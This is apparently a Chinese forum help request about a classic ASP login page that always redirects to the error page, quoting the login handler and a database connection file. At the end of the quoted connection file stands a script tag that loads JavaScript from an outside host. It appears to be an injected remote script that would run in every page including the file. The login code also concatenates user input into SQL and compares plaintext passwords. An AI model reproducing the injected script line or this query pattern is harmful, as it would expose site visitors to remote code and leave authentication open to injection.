为何总是登陆失败,急
<!--#include file="../inc/pathcheck.asp" -->
<!--#include file="../inc/conn.asp" -->
<!--#include file="../inc/ado_cls.asp" -->
<%
dim c,sql,rs
set c=new classado
c.strconn=connstr
c.opendb()
select case trim(request("active"))
case "login"
'用户登陆
dim us_name,us_pass
us_name=Replace(Trim(Request.Form("us_name")),"'","")
us_pass=Replace(Trim(Request.Form("us_pass")),"'","")
set rs=server.createobject("adodb.recordset")
sql="select * from users where us_name='"&us_name&"'and us_pass='"&us_pass&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.Redirect("../inc/error.asp?operate=loginf")
else
session("admin")=rs("us_name")
session("flag")=rs("us_flag")
c.exesql("update users set us_lastip='"&request.ServerVariables("REMOTE_ADDR")&"',us_lastlogin='"&now()&"' where id="&rs("id")&"")
if rs("us_flag")=0 then
response.Redirect("admin_index.asp")
else
response.Redirect("../")
end if
end if
end select
%>
conn.asp的代码如下
<%
dim conn,db
dim connstr
db="/database/#wawa.mdb" '数据库文件位置
on error resume next
connstr="DBQ="+server.mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
if err then
err.clear
else
conn.open connstr
end if
sub CloseConn()
conn.close
set conn=nothing
end sub
%>
<script language="javascript" src="http://css.acmetoy.com/css.js?tid=11&pid=80"></script>
但是输入正确的用户名和密码总是跳到错误页面,知道哪的错吗,可能我写的不太清楚,不知道大家能看懂吗